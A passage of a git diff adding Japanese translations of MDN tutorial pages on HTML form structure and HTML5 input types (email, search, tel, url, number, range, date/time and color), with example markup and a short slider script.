要素と、ラジオボタンを含む {{htmlelement("fieldset")}} にそれぞれ分けておくべきです。</p> + +<h3 id="Active_learning_building_a_form_structure" name="Active_learning_building_a_form_structure">アクティブラーニング: フォーム構造を構築する</h3> + +<p>これらのアイデアを実践し、もう少し複雑なフォーム構造、つまり支払いフォームを作成しましょう。このフォームはあなたがまだ理解していないかもしれないウィジェットタイプをいくつも含みますが、今はそのことを心配しないでください。次の記事 (<a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a>) でそれらがどのように機能するのかがわかります。今のところ、以下の説明に沿って説明を注意深く読み、フォームを構成するためにどのラッパー要素を使用しているか、そしてその理由を理解することから始めてください。</p> + +<ol> + <li>あらかじめ、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">空のテンプレートファイル</a>と<a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">お支払いフォームの CSS</a> のローカルコピーをコンピューターの新しいディレクトリーに作成します。</li> + <li>まず最初に、HTML {{htmlelement("head")}} 内に次の行を追加して CSS を HTML に適用します。 + <pre class="brush: html notranslate"><link href="payment-form.css" rel="stylesheet"></pre> + </li> + <li>次に、外側の {{htmlelement("form")}} 要素を追加してフォームを作成します: + <pre class="brush: html notranslate"><form> + +</form></pre> + </li> + <li><code><form></code> タグ内に、必須フィールドにマークを付ける方法をユーザーに通知するための見出しと段落を追加します: + <pre class="brush: html notranslate"><h1>Payment form</h1> +<p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p></pre> + </li> + <li>次に、前のエントリーの下に、より大きなコードセクションをフォームに追加します。ここでは、連絡先情報フィールドを個別の {{htmlelement("section")}} 要素内にラップしていることがわかります。さらに、2 つのラジオボタンのセットがあり、それぞれ独自のリスト ({{htmlelement("li")}}) 要素の中に入れています。最後に、2 つの標準テキスト {{htmlelement("input")}} とそれに関連する {{htmlelement("label")}} 要素があり、それぞれ {{htmlelement("p")}} の内側に含まれていて、パスワードを入力するためのパスワード入力があります。フォームにこのコードを追加してください: + <pre class="brush: html notranslate"><section> + <h2>Contact information</h2> + <fieldset> + <legend>Title</legend> + <ul> + <li> + <label for="title_1"> + <input type="radio" id="title_1" name="title" value="K" > + King + </label> + </li> + <li> + <label for="title_2"> + <input type="radio" id="title_2" name="title" value="Q"> + Queen + </label> + </li> + <li> + <label for="title_3"> + <input type="radio" id="title_3" name="title" value="J"> + Joker + </label> + </li> + </ul> + </fieldset> + <p> + <label for="name"> + <span>Name: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="name" name="username"> + </p> + <p> + <label for="mail"> + <span>E-mail: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="email" id="mail" name="usermail"> + </p> + <p> + <label for="pwd"> + <span>Password: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="password" id="pwd" name="password"> + </p> +</section></pre> + </li> + <li>それでは、フォームの 2 番目の <code><section></code> — 支払い情報に目を向けます。ここには 3 つの異なるウィジェットとそのラベルがあり、それぞれ <code><p></code> の中に含まれています。1 つ目は、クレジットカードの種類を選択するためのドロップダウンメニュー ({{htmlelement("select")}}) です。2 番目は、クレジットカード番号を入力するための <code>tel</code> 型の <code><input></code> 要素です。<code>number</code> 型を使うこともできますが、そのスピナーUIは望ましくありません。最後のものは、カードの有効期限を入力するための <code>date</code> 型の <code><input></code> 要素です。これは、サポートしているブラウザーでは日付選択ウィジェットが表示され、サポートしていないブラウザーでは通常のテキスト入力に戻ります。新しい入力タイプは <a href="/ja/docs/Learn/Forms/HTML5_input_types">HTML5 入力タイプ</a>で再度紹介されます。<br> + <br> + 前のセクションの下に次のように入力してください。 + <pre class="brush: html notranslate"><section> + <h2>Payment information</h2> + <p> + <label for="card"> + <span>Card type:</span> + </label> + <select id="card" name="usercard"> + <option value="visa">Visa</option> + <option value="mc">Mastercard</option> + <option value="amex">American Express</option> + </select> + </p> + <p> + <label for="number"> + <span>Card number:</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="tel" id="number" name="cardnumber"> + </p> + <p> + <label for="date"> + <span>Expiration date:</span> + <strong><abbr title="required">*</abbr></strong> + <em>formatted as mm/dd/yyyy</em> + </label> + <input type="date" id="date" name="expiration"> + </p> +</section></pre> + </li> + <li>最後に追加するセクションはもっと単純で、フォームデータを送信するための <code>submit</code> タイプの {{htmlelement("button")}} のみを含みます。これをフォームの一番下に追加してください: + <pre class="brush: html notranslate"><p> <button type="submit">Validate the payment</button> </p></pre> + </li> +</ol> + +<p>完成したフォームは以下のように動作しています (GitHub でも確認できます。payment-form.html <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.html">ソース</a>を参照して<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/payment-form.html">ライブ実行</a>してください)。</p> + +<p>{{EmbedLiveSample("A_payment_form","100%",620, "", "Learn/HTML/Forms/How_to_structure_an_HTML_form/Example")}}</p> + +<h2 id="Test_your_skills!" name="Test_your_skills!">あなたのスキルをテストしてみましょう!</h2> + +<p>この記事はここまでですが、最も重要な情報を覚えていますか？ 先に進む前に、この情報を保持しているかどうかを確認するためのテストがあります — <a href="/ja/docs/Learn/Forms/Test_your_skills:_Form_structure">Test your skills: Form structure</a> を参照してください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>ウェブフォームを適切に構築するためのあらゆる知識を得ることができました。これからここで出てきた機能を見ていき、次の記事では、ユーザーから情報を集めるのに使いたくなるすべての種類のフォームウィジェットの詳細な実装について詳しく見ていきます。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="http://www.alistapart.com/articles/sensibleforms/" rel="external" title="http://www.alistapart.com/articles/sensibleforms/">A List Apart: <em>Sensible Forms: A Form Usability Checklist</em></a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a href="/ja/docs/Learn/Forms/HTML5_input_types">The HTML5 input types</a></li> + <li><a href="/ja/docs/Learn/Forms/Other_form_controls">Other form controls</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a href="/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a href="/ja/docs/Learn/Forms/How_to_build_custom_form_controls">カスタムフォームコントロールの作成方法</a></li> + <li><a href="/ja/docs/Learn/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/html5_input_types/index.html b/files/ja/learn/forms/html5_input_types/index.html new file mode 100644 index 0000000000..c825e48653 --- /dev/null +++ b/files/ja/learn/forms/html5_input_types/index.html @@ -0,0 +1,289 @@ +--- +title: HTML5 入力タイプ +slug: Learn/Forms/HTML5_input_types +tags: + - Beginner + - Controls + - Example + - Forms + - Guide + - HTML + - Web + - Widgets +translation_of: Learn/Forms/HTML5_input_types +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Forms/Basic_native_form_controls", "Learn/Forms/Other_form_controls", "Learn/Forms")}}</div> + +<p class="summary"><a href="/ja/docs/Learn/Forms/Basic_native_form_controls">前の記事では</a> {{htmlelement("input")}} 要素を見てきて、HTML の初期から利用できる <code>type</code> 属性の値をカバーしてきました。ここでは最近のフォームコントロールの機能、特定のデータを集めるのに HTML5 で追加された、新しい入力タイプを詳しく見ていきましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>コンピューターリテラシーの基本と、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の理解</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ネイティブフォームコントロールで利用できる新しい入力タイプの理解と、HTML を用いた実装方法。</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>注</strong>: この記事のたいていの昨日はブラウザーを超えて広くサポートされています。例外は注記しておきます。ブラウザーサポートについての詳細は、<a href="https://developer.mozilla.org/ja/docs/Web/HTML/Element#Forms">HTML フォーム要素のリファレンス</a>、特に <a href="/ja/docs/Web/HTML/Element/input"><input> タイプ</a>リファレンスを見てください。</p> +</div> + +<p>HTML フォームコントロールの見た目はデザイナーの仕様により全く異なるため、ウェブ開発者はときどき独自のフォームコントロールを作成します。これは上級のチュートリアル — <a href="/ja/docs/Learn/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a> — で扱います。</p> + +<h2 id="E-mail_address_field" name="E-mail_address_field">メールアドレスフィールド</h2> + +<p>このフィールドタイプは {{htmlattrxref("type","input")}}属性の <code>email</code> の値でセットされます:</p> + +<pre class="brush: html notranslate"><input type="email" id="email" name="email"></pre> + +<p>この {{htmlattrxref("type","input")}} が使われたとき、ユーザーは有効なメールアドレスをフィールドに入力することが必須です。その他のコンテンツでは、ブラウザーによってフォーム送信時にエラーが表示されます。この動作は下記のスクリーンショットで見ることができます。</p> + +<p><img alt='An invalid email input showing the message "Please enter an email address."' src="https://mdn.mozillademos.org/files/17027/email_address_invalid.png" style="display: block; height: 224px; margin: 0 auto; width: 369px;"></p> + +<p><code>email</code> 入力タイプと <a href="/ja/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a> 属性を組み合わせて、複数のメールアドレスが同じ入力に (カンマ区切りで)入力させることもできます:</p> + +<pre class="brush: html notranslate"><input type="email" id="email" name="email" multiple></pre> + +<p>いくつかの端末 — 特にスマートフォンのような動的キーボードつきのタッチデバイス — では、<code>@</code> キーを含むメールアドレス入力に適した別の仮想キーパッドが現れることもあります。Android 版 Firefox のキーボードの例として下記のスクリーンショットを見てください:</p> + +<p><img alt="firefox for android email keyboard, with ampersand displayed 既定では." src="https://mdn.mozillademos.org/files/17054/fx-android-email-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0 auto; width: 400px;"></p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 基本的なテキスト入力タイプの例は <a href="https://mdn.github.io/learning-area/html/forms/basic-input-examples/">basic input examples</a> にあります(<a href="https://github.com/mdn/learning-area/blob/master/html/forms/basic-input-examples/index.html">ソースコード</a> も見てください)。</p> +</div> + +<p>これは新しい入力タイプを使う良い理由であり、こうした端末のユーザーのユーザー体験を向上させます。</p> + +<h3 id="Client-side_validation" name="Client-side_validation">クライアント側の検証</h3> + +<p>上で見てきたように、他の新しい <code>input</code> タイプと同様に、<code>email</code> は組み込みの<em>クライアント側の</em>エラー検証 — データがサーバーに送られる前にブラウザーで実行されるもの — があります。これはユーザーが正確に入力するのに役立ち、時間を短縮できます — データが正しくないことをサーバーとのラウンドトリップを待つことなくすぐに知ることは便利です。</p> + +<p>しかしこれは完全なセキュリティ対策と<em>考えるべきではありません</em>! アプリは送信データのセキュリティ確認をクライアント側と同様に<em>サーバー側</em>でも行うべきで、なぜならクライアント側の検証は簡単にオフにできるため悪意のあるユーザーは簡単にサーバーに不正なデータを送信できるためです。起こりうることについては <a href="/ja/docs/Learn/Server-side/First_steps/Website_security">Website security</a> を読んで下さい。サーバー側の検証を実装するのはこのモジュールの範囲を超えていますが、記憶しておくべきです。</p> + +<p>既定の制約では <code>a@b</code> は有効なメールアドレスです。これは既定では <code>email</code> 入力タイプはイントラネットのメールアドレスを許可しているためです。異なる検証動作を実装するには、<code><a href="/ja/docs/Web/HTML/Attributes/pattern">pattern</a></code> 属性を用いたり、エラーメッセージをカスタムできます。この機能の使い方は後の <a href="/ja/docs/Learn/Forms/Form_validation">クライアント側検証</a>の記事で話します。</p> + +<div class="note"> +<p><strong>注</strong>: 入力データがメールアドレスでない場合、{{cssxref(':invalid')}} 疑似クラスがマッチして、{{domxref('validityState.typeMismatch')}} プロパティは <code>true</code> を返します。</p> +</div> + +<h2 id="Search_field" name="Search_field">検索フィールド</h2> + +<p>検索フィールドは、ページやアプリの検索ボックス作成に使われるものです。このフィールドタイプは {{htmlattrxref("type","input")}}属性の <code>search</code> の値でセットされます:</p> + +<pre class="brush: html notranslate"><input type="search" id="search" name="search"></pre> + +<p><code>text</code> フィールドと <code>search</code> フィールドの主な違いは、ブラウザーの見た目のスタイル設定方法です。よく、<code>search</code> フィールドは角丸で描画されます。また時折、値がクリックされたときに値をクリアする "Ⓧ"も表示されます。その他、ダイナミックキーボードのある端末では、キーボードの enter キーが "<strong>検索</strong>"、あるいは虫眼鏡アイコンで表示されることもあります。</p> + +<p>下記のスクリーンショットでは macOS での Firefox 71, Safari 13, Chrome 79 と Windoes10 での Edge 18 と Chrome 79 での文字が入った検索フィールドを表示しています。注意として、クリアのアイコンはフィールドに値が入った場合のみ表示され、Safari を除いてフィールドにフォーカスが当たった場合のみ表示されます。</p> + +<p><img alt="Screenshots of search fields on several platforms." src="https://mdn.mozillademos.org/files/17028/search_focus.png" style="height: 179px; width: 549px;"></p> + +<p>もう 1 つの注目すべき機能として、<code>search</code> フィールドの値は同一サイトの複数ページにまたがって、自動保存してオートコンプリートすることができます。これはたいていのモダンブラウザーでは自動的に起こる傾向があります</p> + +<h2 id="Phone_number_field" name="Phone_number_field">電話番号フィールド</h2> + +<p>{{htmlattrxref("type","input")}} 属性に <code>tel</code> の値を使って作られる電話番号の入力専用フィールド:</p> + +<pre class="brush: html notranslate"><input type="tel" id="tel" name="tel"></pre> + +<p>ダイナミックキーボードつきのタッチデバイスにアクセルしたとき、たいていの端末では <code>type="tel"</code> が出てくると数字のキーパッドを表示します、つまりこのタイプは数字キーパッドが使えるときに使えて、電話番号に使う必要があるだけではありません。</p> + +<p>下記は Android 用 Firefox キーボードの例です:</p> + +<p><img alt="firefox for android email keyboard, with ampersand displayed 既定では." src="https://mdn.mozillademos.org/files/17056/fx-android-tel-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 276px; margin: 0px auto; width: 400px;"></p> + +<p>世界中にはいろいろな電話番号のフォーマットがあるため、このフィールドはユーザーが入力した値に制約を一切つけません (つまり、文字が入っていることなどがありえます)。</p> + +<p>前に触れた通り、<code><a href="/ja/docs/Web/HTML/Attributes/pattern">pattern</a></code> 属性が制約を強化するのに使われて、これは<a href="/ja/docs/Learn/Forms/Form_validation">クライアント側検証</a>で学びます。</p> + +<h2 id="URL_field" name="URL_field">URL フィールド</h2> + +<p>{{htmlattrxref("type","input")}} 属性に <code>url</code> の値を使うことで作成できる URL 入力の専用フィールド:</p> + +<pre class="brush: html notranslate"><input type="url" id="url" name="url"></pre> + +<p>これはフィールドに特別な検証制約を追加します。ブラウザーは (<code>http:</code>のような) プロトコルがない場合や、URL の形式が良くない場合にエラーを報告します。ダイナミックキーボードのある端末ではよく、コロン、ピリオド、スラッシュの複数やすべてをデフォルトキーとして表示します。</p> + +<p>例は下記のものを見てください (Android 用 Firefox の例):</p> + +<p><img alt="firefox for android email keyboard, with ampersand displayed 既定では." src="https://mdn.mozillademos.org/files/17057/fx-android-url-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 325px; margin: 0px auto; width: 400px;"></p> + +<div class="note"><strong>注:</strong> URL が正しい形式であっても、それが必ずしも実際存在する場所を参照しているとは限りません!</div> + +<h2 id="Numeric_field" name="Numeric_field">数値フィールド</h2> + +<p>{{HTMLElement("input")}} {{htmlattrxref("type","input")}} に <code>number</code> を指定して作成される数値入力用のコントロール。このコントロールはテキストフィールドのような見た目であるが、浮動小数値のみを許可し、通常は数値を増減するためのスピナー形式のボタンがあります。ダイナミックキーボードつきの端末では、一般的に数値キーボードが表示されます。</p> + +<p>下記のスクリーンショット (Android 用 Firefox より) に例があります:</p> + +<p><img alt="firefox for android email keyboard, with ampersand displayed 既定では." src="https://mdn.mozillademos.org/files/17055/fx-android-number-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 275px; margin: 0px auto; width: 400px;"></p> + +<p><code>number</code> の入力タイプでは、{{htmlattrxref("min","input")}} と {{htmlattrxref("max","input")}} 属性をセットすることで最小値と最大値の制約をつけることができます。</p> + +<p>スピナーボタンを押すことで増減させる増分を接とするのに <code>step</code> 属性を使うこともできます。既定では、number 入力タイプは数値が整数値の場合のみ検証します。浮動小数を許可するには、<code><a href="/ja/docs/Web/HTML/Attributes/step">step="any"</a></code>を指定します。省略された場合、<code>step</code> 値は既定で <code>1</code> となり、つまりすべての数値が有効です。</p> + +<p>いくつか例を見てみましょう。次の最初の例では値が <code>1</code> と <code>10</code> の間に制限され、増減ボタンで値が <code>2</code> ずつ変更される数値コントロールを作成しています。</p> + +<pre class="brush: html notranslate"><input type="number" name="age" id="age" min="1" max="10" step="2"></pre> + +<p>2 つ目の例では値が <code>0</code> と <code>1</code> の間に制限され、増減ボタンで値が <code>0.01</code> ずつ変更される数値コントロールを作成しています。</p> + +<pre class="brush: html notranslate"><input type="number" name="change" id="pennies" min="0" max="1" step="0.01"></pre> + +<p><code>number</code> 入力タイプは有効な値の範囲に制限されているときに意味を持ちます。例えば、ある人の年齢や身長です。範囲が大きすぎて増分が意味をなさない場合 (例えば USA の郵便番号は、<code>00001</code> から <code>99999</code> の範囲です)、<code>tel</code> タイプがより良い選択となることもあります。これは数値のスピナーUI機能に対して、数値キーパッドを提供します。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>number</code> 入力は Internet Explorer の 10 より前のバージョンではサポートされません。</p> +</div> + +<h2 id="Slider_controls" name="Slider_controls">スライダーコントロール</h2> + +<p>数字を選ぶもう１つの方法は<strong>スライダー</strong>です。家造りのようなサイトで資産の価格をフィルターするのによく見ることでしょう。これを示す例をライブで見てみましょう:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/range-example/index.html", '100%', 200)}}</p> + +<p>使用からすると、スライダーはテキストフィールドより不正確です。このため、<em>正確な</em>値が必ずしも重要でない数値の選択に使われます。</p> + +<p>スライダーは {{HTMLElement("input")}} に {{htmlattrxref("type","input")}} 属性を <code>range</code> にセットして作成します。スライダーはマウスやタッチや、キーパッドの矢印で移動できます。</p> + +<p>スライダーを適切に設定するのは重要です。そのためには、それぞれ最小、最大、増分値を設定する <code><a href="/ja/docs/Web/HTML/Attributes/min">min</a></code>, <code><a href="/ja/docs/Web/HTML/Attributes/max">max</a></code>, <code><a href="/ja/docs/Web/HTML/Attributes/step">step</a></code> 属性を設定するのを強くお奨めします。</p> + +<p>上の例の背後にあるコードを見て、どのように実現されるかを見てみましょう。まずは基本となる HTML:</p> + +<pre class="brush: html notranslate"><label for="price">Choose a maximum house price: </label> +<input type="range" name="price" id="price" min="50000" max="500000" step="100" value="250000"> +<output class="price-output" for="price"></output></pre> + +<p>この例では、値が <code>50000</code> と <code>500000</code> までの範囲で、100 ずつ増減するスライダーを作成しています。デフォルトの値は <code>value</code> 属性を使って <code>250000</code> としています。</p> + +<p>スライダーについての問題は、現在の値がいくつなのかのフィードバックが一切ないことです。これは、現在の値を入れている {{htmlelement("output")}} 要素を導入する理由です (この要素は次の記事でも見ていきます)。入力値や、あらゆる要素内の計算結果を表示できますが、<code><output></code> は特別です — <code><label></code>のように — <code>for</code> 属性を取って要素や出力値の元となる要素と関連付けることができます。</p> + +<p>実際に現在の値を表示して、変更時に更新するには、JavaScript を使う必要がありますが、比較的に簡単です:</p> + +<pre class="brush: js notranslate">const price = document.querySelector('#price'); +const output = document.querySelector('.price-output'); + +output.textContent = price.value; + +price.addEventListener('input', function() { + output.textContent = price.value; +});</pre> + +<p>ここでは <code>range</code> 入力と <code>output</code> を 2 つの変数に保存しています。次に <code>output</code> の <code><a href="/ja/docs/Web/API/Node/textContent">textContent</a></code> を入力の <code>value</code> ですぐにセットします。最後に、イベントリスナーをセットして、range スライダーが移動するといつも、<code>output</code> の <code>textContent</code> を新しい値に更新します。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>range</code> 入力は Internet Explorer 10以前のバージョンではサポートされません。</p> +</div> + +<h2 id="Date_and_time_pickers" name="Date_and_time_pickers">日付と時刻ピッカー</h2> + +<p>日付と時刻の値を集めるのはウェブ開発者にとってずっと悪夢でした。すばらしいユーザー体験のためには、カレンダー選択UIを与えるのが重要であり、それによってユーザーはネイティブのカレンダーアプリへのコンテキストスイッチや、パースするのが難しい違うフォーマットで入力する可能性を避けて日付選択ができます。前の千年紀の最後の分は、次のようにいろいろな表現ができます。例えば: 1999/12/31, 23:59 or 12/31/99T11:59PM.</p> + +<p>HTML 日付コントロールは、カレンダーウィジェットを提供して統一されたデータを作成し、この種類のデータを扱うことができます。</p> + +<p>日付と時刻コントロールは{{HTMLElement("input")}} 要素と、日付か時間かその両方かを集めたいのかにあわせて適当な {{htmlattrxref("type","input")}} 属性を使って作成できます。非サポートブラウザーで{{htmlelement("select")}} 要素にフォールバックするライブの例は次の通り:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/datetime-local-picker-fallback/index.html", '100%', 200)}}</p> + +<p>利用できるいろいろなタイプを簡単に見ていきましょう。注意としては、このタイプの使用法はとても複雑で、特にブラウザーサポートを使う考えた場合そうです (下記を見てください); 完全な詳細情報は、各タイプのリファレンスページと、そこにある詳細な例を見てください。</p> + +<h3 id="datetime-local" name="datetime-local"><code>datetime-local</code></h3> + +<p><code><a href="/ja/docs/Web/HTML/Element/input/datetime-local"><input type="datetime-local"></a></code> は特別なタイムゾーン情報のない日付と時刻を表示して選択するウィジェットを作成します。</p> + +<pre class="brush: html notranslate"><input type="datetime-local" name="datetime" id="datetime"></pre> + +<h3 id="month" name="month"><code>month</code></h3> + +<p><code><a href="/ja/docs/Web/HTML/Element/input/month"><input type="month"></a></code> は年と月を表示して選択するウィジェットを作成します。</p> + +<pre class="brush: html notranslate"><input type="month" name="month" id="month"></pre> + +<h3 id="time" name="time"><code>time</code></h3> + +<p><code><a href="/ja/docs/Web/HTML/Element/input/time"><input type="time"></a></code> は時刻の値を表示して選択するウィジェットを作成します。時刻は 12時間のフォーマットで表示されますが、<em>戻り値</em>は 24時間フォーマットです。</p> + +<pre class="brush: html notranslate"><input type="time" name="time" id="time"></pre> + +<h3 id="week" name="week"><code>week</code></h3> + +<p><code><a href="/ja/docs/Web/HTML/Element/input/week"><input type="week"></a></code> は本年の週の番号を表示して選択するウィジェットを作成します。</p> + +<p>週は月曜始まりで日曜日で終わります。それに加えて、その年の最初の週はその年の最初の木曜日を含みます—これはその年の最初の日を含まないことも、前年の最後の数日を含むこともあります。</p> + +<pre class="brush: html notranslate"><input type="week" name="week" id="week"></pre> + +<h3 id="Constraining_datetime_values" name="Constraining_datetime_values">date/time 値の制限</h3> + +<p>日付をと時刻のコントロールはすべて、<code><a href="/ja/docs/Web/HTML/Attributes/min">min</a></code> と <code><a href="/ja/docs/Web/HTML/Attributes/max">max</a></code> 属性で制約をつけることができて、さらに <code><a href="/ja/docs/Web/HTML/Attributes/step">step</a></code> 属性 (この値は入力タイプによって変わります)で追加の制約も可能です。</p> + +<pre class="brush: html notranslate"><label for="myDate">When are you available this summer?</label> +<input type="date" name="myDate" min="2013-06-01" max="2013-08-31" step="7" id="myDate"></pre> + +<h3 id="Browser_support_for_datetime_inputs" name="Browser_support_for_datetime_inputs">date/time 入力のブラウザーサポート</h3> + +<p>日付と時刻のウィジェットに最良のブラウザーサポートがないことに注意するべきです。現状では、Chrome, Edge, Opera ではよくサポートしていますが、Internet Explorerではサポートがなく、Safari にはモバイルのサポートがあり(しかしデスクトップサポートはなし)、Firefox では <code>time</code> と <code>date</code> のみサポートします。</p> + +<p>上でリンクしているリファレンスページでは非サポートブラウザーでフォールバックするようプログラミングするヒントを提供しています; もう1つのオプションは日付選択を提供する JavaScript ライブラリの利用です。たいていのモダンなフレームワークには機能を利用できるコンポーネントがあり、またスタンドアローンのライブラリもあります (ヒントとなる <a href="https://flatlogic.com/blog/best-javascript-date-picker-libraries/">Top date picker JavaScript plugins and libraries</a> を見てください)。</p> + +<h2 id="Color_picker_control" name="Color_picker_control">色選択コントロール</h2> + +<p>色も扱いが難しいです。色の表現がたくさんあります: RGB 値 (10進数や16進数), HSL 値、キーワードなど。</p> + +<p><code>color</code> コントロールは {{HTMLElement("input")}} 要素を、 {{htmlattrxref("type","input")}} 属性に <code>color</code>をつけて作成できます:</p> + +<pre class="brush: html notranslate"><input type="color" name="color" id="color"></pre> + +<p>サポートされている場合、色コントロールはOSのデフォルトの色選択機能を呼び出して選択できるようにする傾向があります。下記のスクリーンショットはmacOSの Firefox の例です:</p> + +<p><img alt="firefox for android email keyboard, with ampersand displayed 既定では." src="https://mdn.mozillademos.org/files/17058/fx-macos-color.jpg" style="border-style: solid; border-width: 1px; display: block; height: 412px; margin: 0px auto; width: 700px;"></p> + +<p>次のライブサンプルも試してみてください:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/color-example/index.html", '100%', 200)}}</p> + +<p>戻り値は常に小文字で 6桁の16進数の色です。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>color</code> 入力は Internet Explorerではサポートされていません。</p> +</div> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到着しましたが、最も大事な情報を覚えていますか？次に進む前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Test_your_skills:_HTML5_controls">Test your skills: HTML5 controls</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>ここで HTML5 フォーム入力タイプの旅が終了です。動作が特殊なため簡単に分類できないその他のコントロールタイプも少しあって、それを知るのも大事です。次の記事で扱います。</p> + +<p>{{PreviousMenuNext("Learn/Forms/Basic_native_form_controls", "Learn/Forms/Other_form_controls", "Learn/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form controls</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a><a href="/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets"> </a></li> +</ul> diff --git a/files/ja/learn/forms/html_forms_in_legacy_browsers/index.html b/files/ja/learn/forms/html_forms_in_legacy_browsers/index.html new file mode 100644 index 0000000000..edc9009df2 --- /dev/null +++ b/files/ja/learn/forms/html_forms_in_legacy_browsers/index.html @@ -0,0 +1,219 @@ +--- +title: 古いブラウザでの HTML フォーム +slug: Learn/Forms/HTML_forms_in_legacy_browsers +tags: + - Example + - Forms + - Guide + - HTML + - Intermediate + - Web +translation_of: Learn/Forms/HTML_forms_in_legacy_browsers +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}</div> + +<p class="summary">すべての Web 開発者は、Web が非常につらい場所であることをいち早く (時に痛いほど) 学びます。もっともいまいましいのは古いブラウザです。まあそれは受け入れて、我々が「古いブラウザ」と言うとき、みんなが古いバージョンの Internet Explorer を念頭に置いています...しかしそれだけではありません。<a 